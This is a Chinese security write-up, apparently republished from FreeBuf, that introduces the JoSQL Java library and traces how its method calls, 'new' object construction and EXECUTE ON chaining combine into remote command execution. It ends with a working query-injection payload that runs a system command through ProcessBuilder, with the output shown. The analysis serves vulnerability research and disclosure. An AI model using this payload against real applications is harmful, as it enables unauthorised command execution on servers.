
JoSQL全称SQL for Java Objects,提供了应用SQL语句的Java对象的集合的能力开发,JoSQL提供了搜索,排序,group等对Java对象的集合进行类似SQL的查询应该应用的功能。
例如,查找所有在2004年内修改过的html文件:
SELECT *
FROM java.io.File
WHERE name $LIKE "%.html"
AND toDate (lastModified) BETWEEN toDate ('01-12-2004')
AND toDate ('31-12-2004')
java中使用JoSQL:
// 获取 java.io.File 列表.
List myObjs = getMyObjects ();
// 创建查询对象.
Query q = new Query ();
// Parse the SQL you are going to use, it is assumed here that
// "myObjs" contains instances of "java.io.File".
q.parse ("SELECT name,length " +
"FROM java.io.File " +
"WHERE fileExtension (name) = :fileExt " +
"ORDER BY length DESC, name " +
"EXECUTE ON RESULTS avg (:_allobjs, length) avgLength");
// 绑定参数类似于预编译模式设置参数
q.setVariable ("fileExt", "java");
// 执行查询.
QueryResults qr = q.execute (myObjs);
// Get the average length, this is a save value, the result
// of executing the call "avg (:_allobjs, length)", it is saved against
// key: "avgLength".
Map saveValues = qr.getSaveValues ();
Number avg = (Number) saveValues.get ("avgLength");
// 循环读取结果
List res = qr.getResults ();
for (int i = 0; i < res.size (); i++)
{
// This time there is a List for each row, index 0 holds the name of
// the file that matched, index 1 holds the length.
List r = (List) res.get (i);
System.out.println ("NAME: " + r.get (0));
System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);
}
具体其他详细操作可参考:http://josql.sourceforge.net
下面分析下远程代码造成的原因
1.首先写一个demo查询从User列表中查询:
package josql;
import java.util.ArrayList;
import java.util.List;
import org.josql.Query;
import org.josql.QueryResults;
public class Demo {
/**
* user对象
*
* @author nike
*
*/
class User {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public void help() {
System.out.println("help method:"+username + "|" + password);
}
}
/**
* 获取user列表用来作为查询集
*
* @return
*/
public List<User> getObjs() {
List<User> users = new ArrayList<User>();
User a = new User();
a.setUsername("nike");
a.setPassword("cb39554898fc98f9329d37242045e728");
User b = new User();
b.setUsername("smith");
b.setPassword("12345678");
users.add(a);
users.add(b);
return users;
}
public void query() {
List<User> myObjs = getObjs();
Query q = new Query();
try {
q.parse("SELECT * from josql.Demo$User");
QueryResults qr = q.execute(myObjs);
@SuppressWarnings("unchecked")
List<User> res = qr.getResults();
for (int i = 0; i < res.size(); i++) {
User user = (User)res.get(i);
System.out.println("username:"+user.username+"|password:"+user.password);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Demo demo = new Demo();
demo.query();
}
}
上面代码运行结果是:
username:nike|password:cb39554898fc98f9329d37242045e728 username:smith|password:12345678
现在将sql语句换成:
package josql;
import java.util.ArrayList;
import java.util.List;
import org.josql.Query;
import org.josql.QueryResults;
public class Demo {
/**
* user对象
*
* @author nike
*
*/
class User {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public void help() {
System.out.println("help method:"+username + "|" + password);
}
}
/**
* 获取user列表用来作为查询集
*
* @return
*/
public List<User> getObjs() {
List<User> users = new ArrayList<User>();
User a = new User();
a.setUsername("nike");
a.setPassword("cb39554898fc98f9329d37242045e728");
User b = new User();
b.setUsername("smith");
b.setPassword("12345678");
users.add(a);
users.add(b);
return users;
}
public void query() {
List<User> myObjs = getObjs();
Query q = new Query();
try {
q.parse("SELECT help from josql.Demo$User");
QueryResults qr = q.execute(myObjs);
@SuppressWarnings("unchecked")
List<User> res = qr.getResults();
for (int i = 0; i < res.size(); i++) {
System.out.println(res.get(i));
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Demo demo = new Demo();
demo.query();
}
}
则运行结果:
help method:nike|cb39554898fc98f9329d37242045e728 help method:smith|12345678 [null] [null]
从上面结果就可以看出help方法被调用了,从而可以得知joSQL可以调用无参函数(关键)。
2.joSQL存在一个特性,即可以通过new来构造一个新的对象比如:
package josql;
import java.util.ArrayList;
import java.util.List;
import org.josql.Query;
import org.josql.QueryResults;
public class Demo {
/**
* user对象
*
* @author nike
*
*/
class User {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public void help() {
System.out.println("help method:"+username + "|" + password);
}
}
/**
* 获取user列表用来作为查询集
*
* @return
*/
public List<User> getObjs() {
List<User> users = new ArrayList<User>();
User a = new User();
a.setUsername("nike");
a.setPassword("cb39554898fc98f9329d37242045e728");
User b = new User();
b.setUsername("smith");
b.setPassword("12345678");
users.add(a);
users.add(b);
return users;
}
public void query() {
List<User> myObjs = getObjs();
Query q = new Query();
try {
q.parse("SELECT new josql.Demo() from josql.Demo$User");
QueryResults qr = q.execute(myObjs);
@SuppressWarnings("unchecked")
List<User> res = qr.getResults();
for (int i = 0; i < res.size(); i++) {
System.out.println(res.get(i));
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Demo demo = new Demo();
demo.query();
}
}
执行结果:
josql.Demo@447ffd8e josql.Demo@2edf98c4
3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。其执行结果可以通过变量作为其他查询参数来调用
语法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]
例子:
package josql;
import java.util.ArrayList;
import java.util.List;
import org.josql.Query;
import org.josql.QueryResults;
public class Demo {
/**
* user对象
*
* @author nike
*
*/
class User {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public void help() {
System.out.println("help method:"+username + "|" + password);
}
}
/**
* 获取user列表用来作为查询集
*
* @return
*/
public List<User> getObjs() {
List<User> users = new ArrayList<User>();
User a = new User();
a.setUsername("nike");
a.setPassword("cb39554898fc98f9329d37242045e728");
User b = new User();
b.setUsername("smith");
b.setPassword("12345678");
users.add(a);
users.add(b);
return users;
}
public void query() {
List<User> myObjs = getObjs();
Query q = new Query();
try {
q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");
QueryResults qr = q.execute(myObjs);
@SuppressWarnings("unchecked")
List<User> res = qr.getResults();
for (int i = 0; i < res.size(); i++) {
System.out.println(res.get(i));
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Demo demo = new Demo();
demo.query();
}
}
执行结果:
[josql.Demo@4094de98]
从结果中可以看到Demo成功被创建。
结合第1,2,3点可以执行无参函数,则我们可以调用ProcessBuilder的start可以执行系统命令。
package josql;
import java.util.ArrayList;
import java.util.List;
import org.josql.Query;
import org.josql.QueryResults;
public class Demo {
/**
* user对象
*
* @author nike
*
*/
class User {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public void help() {
System.out.println("help method:"+username + "|" + password);
}
}
/**
* 获取user列表用来作为查询集
*
* @return
*/
public List<User> getObjs() {
List<User> users = new ArrayList<User>();
User a = new User();
a.setUsername("nike");
a.setPassword("cb39554898fc98f9329d37242045e728");
User b = new User();
b.setUsername("smith");
b.setPassword("12345678");
users.add(a);
users.add(b);
return users;
}
public void query() {
List<User> myObjs = getObjs();
Query q = new Query();
try {
q.parse("SELECT
username from josql.Demo$User where 1=1 group by
@c.readLine,@c.readLine EXECUTE ON ALL new
java.lang.ProcessBuilder(['id']) AS a, "
+ "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");
QueryResults qr = q.execute(myObjs);
@SuppressWarnings("unchecked")
List<User> res = qr.getResults();
for (int i = 0; i < res.size(); i++) {
System.out.println(res.get(i));
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Demo demo = new Demo();
demo.query();
}
}
执行结果:
[uid=501(nike) gid=20(staff) groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh), null] [null, null]
则系统命令成功被执行。
利用场景
当某处查询利用了joSQL并且存在注入,则通过这个漏洞直接调用系统命令。
[作者/安恒信息(企业账号),转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)]